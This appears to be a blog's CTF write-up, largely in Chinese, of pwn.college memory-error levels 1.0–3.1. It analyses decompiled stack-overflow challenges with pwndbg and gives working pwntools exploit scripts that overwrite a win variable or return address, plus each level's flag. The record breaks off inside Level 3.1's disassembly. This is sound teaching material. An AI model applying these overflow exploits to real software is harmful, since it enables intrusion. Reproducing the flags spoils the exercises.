Per aspera ad astra

熵餘記事

Write-ups: Program Security (Memory Errors) series (Completed)

更新于 # Pwn # Write-ups

Table of contents

Open Table of contents

Level 1.0

Information

Description

Overflow a buffer on the stack to set the right conditions to obtain the flag!

Write-up

分析得程序主要逻辑从 challenge 函数开始,反编译如下:

5 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF
int v7; // [rsp+1Ch] [rbp-34h]
int v8; // [rsp+24h] [rbp-2Ch]
size_t nbytes; // [rsp+28h] [rbp-28h]
_QWORD buf[2]; // [rsp+30h] [rbp-20h] BYREF
_QWORD v11[2]; // [rsp+40h] [rbp-10h] BYREF
__int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF
38 collapsed lines
v7 = a1;
v6[2] = a2;
v6[1] = a3;
v11[1] = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
v11[0] = 0LL;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 20);
puts("large input length, and thus overflow the buffer.\n");
puts("In this level, there is a \"win\" variable.");
puts("By default, the value of this variable is zero.");
puts("However, when this variable is non-zero, the flag will be printed.");
puts("You can make this variable be non-zero by overflowing the input buffer.");
printf(
"The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n",
(char *)v11 + 4,
20);
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
nbytes = 4096LL;
printf("You have chosen to send %lu bytes of input!\n", 4096LL);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
&buf[nbytes / 8],
nbytes - 20);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v8 = read(0, buf, nbytes);
if ( v8 < 0 )
{
v3 = __errno_location();
14 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v8);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
printf("- the address of the win variable is %p.\n", (char *)v11 + 4);
printf("- the value of the win variable is 0x%x.\n", HIDWORD(v11[0]));
putchar(10);
if ( HIDWORD(v11[0]) )
win();
puts("Goodbye!");
return 0LL;
}

注意到这里判断了 v11[0] 的高 32 bits。这时只要 v11[0] 的高 32 bits 不是 0 就都可以进入 if 内部,调用 win

if ( HIDWORD(v11[0]) ) { win(); }

所以我们要做的就是想办法覆盖 v11[0] 的高 32 bits。

_QWORD buf[2]; // [rsp+30h] [rbp-20h] BYREF
_QWORD v11[2]; // [rsp+40h] [rbp-10h] BYREF
// ...
nbytes = 4096LL;
// ...
v8 = read(0, buf, nbytes);

这里 read 最多可以读取 4096 bytes 到 buf。但是我们的 buf 只有 16 bytes,故存在缓冲区溢出问题,导致覆盖 v11 的值。

所以我们只要先输入 16 bytes 填满 buf,再多写 5 bytes 就可以达到破坏 v11[0] 的高 32 bits 的目的。(注意 read 会把回车读进去,所以本地执行可以只输入 20 bytes)

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb
context(log_level="debug", terminal="kitty")
FILE = "./binary-exploitation-first-overflow-w"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"A" * 21
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{oQdReDoKIU218v6uPGguMuFOJnt.0VO4IDL5cTNxgzW}

Level 1.1

Information

Description

This challenge is identical to its “easy” version from a security perspective, but has the following changes:

  1. Unlike the easy version, it does not give you helpful debug output. You will have to recover this information using a debugger.
  2. For all other “hard” versions, the source code will not be provided, and you will need to reverse-engineer the binary using your knowledge of the “easy” version as a reference. However, for this one challenge, to get you familiar with the differences between the easy and hard versions, we will provide the source code.
  3. Some randomization is different. Buffers might have different lengths, offsets might vary, etc. You will need to reverse engineer this information from the binary!

Write-up

1 collapsed line
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
_QWORD buf[4]; // [rsp+30h] [rbp-30h] BYREF
int v4; // [rsp+50h] [rbp-10h]
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v4 = 0;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
if ( (int)read(0, buf, 0x1000uLL) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( v4 )
win();
puts("Goodbye!");
return 0LL;
}
_QWORD buf[4]; // [rsp+30h] [rbp-30h] BYREF
int v4; // [rsp+50h] [rbp-10h]
// ...
if ( (int)read(0, buf, 0x1000uLL) < 0 ) { /* ... */ }
// ...
if ( v4 ) { win(); }

由于程序根据 v4 的值来判断是否执行 win,所以只要令 v4 不为 0 即可。

注意到 buf 只有 32 bytes,但是最大可以输入 4096 bytes,导致溢出覆盖 v4 的值。

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb
context(log_level="debug", terminal="kitty")
FILE = "./binary-exploitation-first-overflow"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"A" * 33
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{cwWgAcBgDsBnGFTCky9i1NRqAtO.0FM5IDL5cTNxgzW}

Level 2.0

Information

Description

Overflow a buffer on the stack to set trickier conditions to obtain the flag!

Write-up

4 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-D0h] BYREF
int v7; // [rsp+1Ch] [rbp-B4h]
int v8; // [rsp+24h] [rbp-ACh]
size_t nbytes; // [rsp+28h] [rbp-A8h] BYREF
void *buf; // [rsp+30h] [rbp-A0h]
int *v11; // [rsp+38h] [rbp-98h]
_BYTE v12[128]; // [rsp+40h] [rbp-90h] BYREF
int v13; // [rsp+C0h] [rbp-10h] BYREF
unsigned __int64 v14; // [rsp+C8h] [rbp-8h]
__int64 savedregs; // [rsp+D0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+D8h] [rbp+8h] BYREF
3 collapsed lines
v7 = a1;
v6[2] = a2;
v6[1] = a3;
v14 = __readfsqword(0x28u);
memset(v12, 0, sizeof(v12));
v13 = 0;
buf = v12;
v11 = &v13;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
23 collapsed lines
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 127);
puts("large input length, and thus overflow the buffer.\n");
puts("In this level, there is a \"win\" variable.");
puts("By default, the value of this variable is zero.");
puts("However, if you can set variable to 0x0e530e48, the flag will be printed.");
puts("You can change this variable by overflowing the input buffer, but keep endianness in mind!");
printf(
"The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n",
v11,
(_DWORD)v11 - (_DWORD)buf);
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 127);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v8 = read(0, buf, nbytes);
if ( v8 < 0 )
{
v3 = __errno_location();
14 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v8);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
printf("- the address of the win variable is %p.\n", v11);
printf("- the value of the win variable is 0x%x.\n", *v11);
putchar(10);
if ( *v11 == 240324168 )
win();
puts("Goodbye!");
return 0LL;
}
size_t nbytes; // [rsp+28h] [rbp-A8h] BYREF
void *buf; // [rsp+30h] [rbp-A0h]
int *v11; // [rsp+38h] [rbp-98h]
_BYTE v12[128]; // [rsp+40h] [rbp-90h] BYREF
int v13; // [rsp+C0h] [rbp-10h] BYREF
v13 = 0;
buf = v12;
v11 = &v13;
nbytes = 0LL;
// ...
__isoc99_scanf("%lu", &nbytes);
// ...
v8 = read(0, buf, nbytes);
// ...
if ( *v11 == 240324168 ) { win(); }

如果 v11 指向的地址的内容为 240324168 则触发 win

注意到我们的 buf 为 128 bytes,由于最大输入长度可由我们自己自定义,因此可以溢出 buf 破坏 v13,将 v13 修改为 240324168 即可。

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-2-0"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(128, b"A") + p64(240324168)
payload_size = str(len(payload)).encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{w7aHpdU-9AlFvJ5GtohCFtGwF7M.ddTNzMDL5cTNxgzW}

Level 2.1

Information

Description

Overflow a buffer on the stack to set trickier conditions to obtain the flag!

Write-up

1 collapsed line
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
size_t nbytes; // [rsp+28h] [rbp-38h] BYREF
void *buf; // [rsp+30h] [rbp-30h]
_DWORD *v5; // [rsp+38h] [rbp-28h]
_QWORD v6[2]; // [rsp+40h] [rbp-20h] BYREF
_QWORD v7[2]; // [rsp+50h] [rbp-10h] BYREF
v7[1] = __readfsqword(0x28u);
v6[0] = 0LL;
v6[1] = 0LL;
v7[0] = 0LL;
buf = v6;
v5 = (_DWORD *)v7 + 1;
nbytes = 0LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
if ( (int)read(0, buf, nbytes) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( *v5 == 758965894 )
win();
puts("Goodbye!");
return 0LL;
}

v5 指向的地址处的值为 758965894 即可触发 win

最大输入大小可由我们自定义,存在溢出问题。buf 的大小为 16 bytes,溢出后可以覆盖 v7

v5 为指向 v7_DWORD + 1 处的地址,所以覆盖 buf 后需要加一个 _DWORD 才是最终地址。

pwndbg> r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-2-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-2-1!
###
Payload size: 1771
Send your payload (up to 1771 bytes)!
Breakpoint 1, 0x000055555555619d in challenge ()
20 collapsed lines
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
RAX 0x7fffffffd180 ◂— 0
RBX 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1'
RCX 0
RDX 0x6eb
RDI 0
RSI 0x7fffffffd180 ◂— 0
R8 0x75
R9 0xfffffffc
R10 0
R11 0x202
R12 1
R13 0
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
R15 0
RBP 0x7fffffffd1a0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
RSP 0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* '###' */
RIP 0x55555555619d (challenge+171) ◂— call 0x555555555180
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x55555555619d <challenge+171> call read@plt <read@plt>
fd: 0 (/dev/pts/0)
buf: 0x7fffffffd180 ◂— 0
nbytes: 0x6eb
30 collapsed lines
0x5555555561a2 <challenge+176> mov dword ptr [rbp - 0x3c], eax
0x5555555561a5 <challenge+179> cmp dword ptr [rbp - 0x3c], 0
0x5555555561a9 <challenge+183> jns challenge+229 <challenge+229>
0x5555555561ab <challenge+185> call __errno_location@plt <__errno_location@plt>
0x5555555561b0 <challenge+190> mov eax, dword ptr [rax]
0x5555555561b2 <challenge+192> mov edi, eax
0x5555555561b4 <challenge+194> call strerror@plt <strerror@plt>
0x5555555561b9 <challenge+199> mov rsi, rax
0x5555555561bc <challenge+202> lea rdi, [rip + 0xf85] RDI => 0x555555557148 ◂— 'ERROR: Failed to read input -- %s!\n'
0x5555555561c3 <challenge+209> mov eax, 0 EAX => 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* '###' */
01:0008│-058 0x7fffffffd148 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— 'SHELL=/usr/bin/zsh'
02:0010│-050 0x7fffffffd150 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1'
03:0018│-048 0x7fffffffd158 ◂— 0x155559020
04:0020│-040 0x7fffffffd160 —▸ 0x7fffffffd1a0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— ...
05:0028│-038 0x7fffffffd168 ◂— 0x6eb
06:0030│-030 0x7fffffffd170 —▸ 0x7fffffffd180 ◂— 0
07:0038│-028 0x7fffffffd178 —▸ 0x7fffffffd194 ◂— 0xf7a9ac0000000000
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
0 0x55555555619d challenge+171
1 0x5555555562ea main+213
2 0x7ffff7dcae08
3 0x7ffff7dcaecc __libc_start_main+140
4 0x55555555520e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
aaaaaaaabaaaaaaa
Breakpoint 3, 0x00005555555561d7 in challenge ()
20 collapsed lines
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX 0x11
RBX 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1'
*RCX 0x7ffff7eb0c21 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x6eb
RDI 0
RSI 0x7fffffffd180 ◂— 'aaaaaaaabaaaaaaa\n'
R8 0x75
R9 0xfffffffc
R10 0
*R11 0x246
R12 1
R13 0
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
R15 0
RBP 0x7fffffffd1a0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
RSP 0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* '###' */
*RIP 0x5555555561d7 (challenge+229) ◂— mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x5555555561d7 <challenge+229> mov rax, qword ptr [rbp - 0x28] RAX, [0x7fffffffd178] => 0x7fffffffd194 ◂— 0xf7a9ac0000000000
0x5555555561db <challenge+233> mov eax, dword ptr [rax] EAX, [0x7fffffffd194] => 0
0x5555555561dd <challenge+235> cmp eax, 0x2d3ce686 0x0 - 0x2d3ce686 EFLAGS => 0x293 [ CF pf AF zf SF IF df of ]
0x5555555561e2 <challenge+240> ✔ jne challenge+252 <challenge+252>
0x5555555561ee <challenge+252> lea rdi, [rip + 0xf77] RDI => 0x55555555716c ◂— 'Goodbye!'
12 collapsed lines
0x5555555561f5 <challenge+259> call puts@plt <puts@plt>
0x5555555561fa <challenge+264> mov eax, 0 EAX => 0
0x5555555561ff <challenge+269> mov rcx, qword ptr [rbp - 8]
0x555555556203 <challenge+273> xor rcx, qword ptr fs:[0x28]
0x55555555620c <challenge+282> je challenge+289 <challenge+289>
0x55555555620e <challenge+284> call __stack_chk_fail@plt <__stack_chk_fail@plt>
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* '###' */
01:0008│-058 0x7fffffffd148 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— 'SHELL=/usr/bin/zsh'
02:0010│-050 0x7fffffffd150 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1'
03:0018│-048 0x7fffffffd158 ◂— 0x155559020
04:0020│-040 0x7fffffffd160 ◂— 0x11ffffd1a0
05:0028│-038 0x7fffffffd168 ◂— 0x6eb
06:0030│-030 0x7fffffffd170 —▸ 0x7fffffffd180 ◂— 'aaaaaaaabaaaaaaa\n'
07:0038│-028 0x7fffffffd178 —▸ 0x7fffffffd194 ◂— 0xf7a9ac0000000000
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
0 0x5555555561d7 challenge+229
1 0x5555555562ea main+213
4 collapsed lines
2 0x7ffff7dcae08
3 0x7ffff7dcaecc __libc_start_main+140
4 0x55555555520e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/wx $rbp-0x28
0x7fffffffd178: 0xffffd194
pwndbg> p/x 0x194-0x180
$4 = 0x14

算出来 padding 大小是 0x14

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-2-1"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x14, b"A") + p64(758965894)
payload_size = str(len(payload)).encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{sZCPUpjO4U6HmvntMr91HLyNljf.dhTNzMDL5cTNxgzW}

Level 3.0

Information

Description

Overflow a buffer and smash the stack to obtain the flag!

Write-up

38 collapsed lines
###
### Welcome to ./babymem-level-3-0!
###
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd41f77580 (rsp+0x0000) | b0 75 f7 41 fd 7f 00 00 | 0x00007ffd41f775b0 |
| 0x00007ffd41f77588 (rsp+0x0008) | 68 87 f7 41 fd 7f 00 00 | 0x00007ffd41f78768 |
| 0x00007ffd41f77590 (rsp+0x0010) | 58 87 f7 41 fd 7f 00 00 | 0x00007ffd41f78758 |
| 0x00007ffd41f77598 (rsp+0x0018) | 0b a7 02 f9 01 00 00 00 | 0x00000001f902a70b |
| 0x00007ffd41f775a0 (rsp+0x0020) | 1e 3e 40 00 00 00 00 00 | 0x0000000000403e1e |
| 0x00007ffd41f775a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775e8 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775f0 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd41f775f8 (rsp+0x0078) | b0 75 f7 41 fd 7f 00 00 | 0x00007ffd41f775b0 |
| 0x00007ffd41f77600 (rsp+0x0080) | 30 86 f7 41 fd 7f 00 00 | 0x00007ffd41f78630 |
| 0x00007ffd41f77608 (rsp+0x0088) | 51 2a 40 00 00 00 00 00 | 0x0000000000402a51 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffd41f77580, and our base pointer points to 0x7ffd41f77600.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd41f775b0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 68 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.
In this level, there is no "win" variable.
You will need to force the program to execute the win() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffd41f77608, 88 bytes after the start of your input buffer.
That means that you will need to input at least 96 bytes (68 to fill the buffer,
20 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).
10 collapsed lines
We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.
Payload size:

程序直接告诉我们目的和需要多大的 padding 了,所以接下来直接找 win 的地址就好了。

直接上 pwndbg 查 win 函数地址:

pwndbg> i fun
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010f0 putchar@plt
0x0000000000401100 __errno_location@plt
0x0000000000401110 puts@plt
0x0000000000401120 write@plt
0x0000000000401130 printf@plt
0x0000000000401140 geteuid@plt
0x0000000000401150 read@plt
0x0000000000401160 setvbuf@plt
0x0000000000401170 open@plt
0x0000000000401180 __isoc99_scanf@plt
0x0000000000401190 exit@plt
0x00000000004011a0 strerror@plt
0x00000000004011b0 _start
0x00000000004011e0 _dl_relocate_static_pie
0x00000000004011f0 deregister_tm_clones
0x0000000000401220 register_tm_clones
0x0000000000401260 __do_global_dtors_aux
0x0000000000401290 frame_dummy
0x0000000000401296 DUMP_STACK
0x0000000000401499 bin_padding
0x0000000000402331 win
0x0000000000402438 challenge
0x000000000040298b main
0x0000000000402a70 __libc_csu_init
0x0000000000402ae0 __libc_csu_fini
0x0000000000402ae8 _fini

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-3-0"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(88, b"A") + p64(0x402331)
payload_size = str(len(payload)).encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{0omKd6AgzV5NaakXpbDyYSre3hD.01M5IDL5cTNxgzW}

Level 3.1

Information

Description

Overflow a buffer and smash the stack to obtain the flag!

Write-up

16 collapsed lines
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
size_t nbytes; // [rsp+28h] [rbp-88h] BYREF
_QWORD v4[13]; // [rsp+30h] [rbp-80h] BYREF
int v5; // [rsp+98h] [rbp-18h]
__int16 v6; // [rsp+9Ch] [rbp-14h]
int v7; // [rsp+A4h] [rbp-Ch]
void *buf; // [rsp+A8h] [rbp-8h]
memset(v4, 0, sizeof(v4));
v5 = 0;
v6 = 0;
buf = v4;
nbytes = 0LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v7 = read(0, buf, nbytes);
if ( v7 < 0 )
{
v0 = __errno_location();
7 collapsed lines
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
puts("Goodbye!");
return 0LL;
}
pwndbg> i fun
20 collapsed lines
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010f0 putchar@plt
0x0000000000401100 __errno_location@plt
0x0000000000401110 puts@plt
0x0000000000401120 write@plt
0x0000000000401130 printf@plt
0x0000000000401140 geteuid@plt
0x0000000000401150 read@plt
0x0000000000401160 setvbuf@plt
0x0000000000401170 open@plt
0x0000000000401180 __isoc99_scanf@plt
0x0000000000401190 exit@plt
0x00000000004011a0 strerror@plt
0x00000000004011b0 _start
0x00000000004011e0 _dl_relocate_static_pie
0x00000000004011f0 deregister_tm_clones
0x0000000000401220 register_tm_clones
0x0000000000401260 __do_global_dtors_aux
0x0000000000401290 frame_dummy
0x0000000000401296 bin_padding
0x0000000000401a0b win
0x0000000000401b12 challenge
0x0000000000401c64 main
0x0000000000401d40 __libc_csu_init
2 collapsed lines
0x0000000000401db0 __libc_csu_fini
0x0000000000401db8 _fini
pwndbg> disass challenge
Dump of assembler code for function challenge:
0x0000000000401b12 <+0>: endbr64
0x0000000000401b16 <+4>: push rbp
0x0000000000401b17 <+5>: mov rbp,rsp
55 collapsed lines
0x0000000000401b1a <+8>: sub rsp,0xb0
0x0000000000401b21 <+15>: mov DWORD PTR [rbp-0x94],edi
0x0000000000401b27 <+21>: mov QWORD PTR [rbp-0xa0],rsi
0x0000000000401b2e <+28>: mov QWORD PTR [rbp-0xa8],rdx
0x0000000000401b35 <+35>: mov QWORD PTR [rbp-0x80],0x0
0x0000000000401b3d <+43>: mov QWORD PTR [rbp-0x78],0x0
0x0000000000401b45 <+51>: mov QWORD PTR [rbp-0x70],0x0
0x0000000000401b4d <+59>: mov QWORD PTR [rbp-0x68],0x0
0x0000000000401b55 <+67>: mov QWORD PTR [rbp-0x60],0x0
0x0000000000401b5d <+75>: mov QWORD PTR [rbp-0x58],0x0
0x0000000000401b65 <+83>: mov QWORD PTR [rbp-0x50],0x0
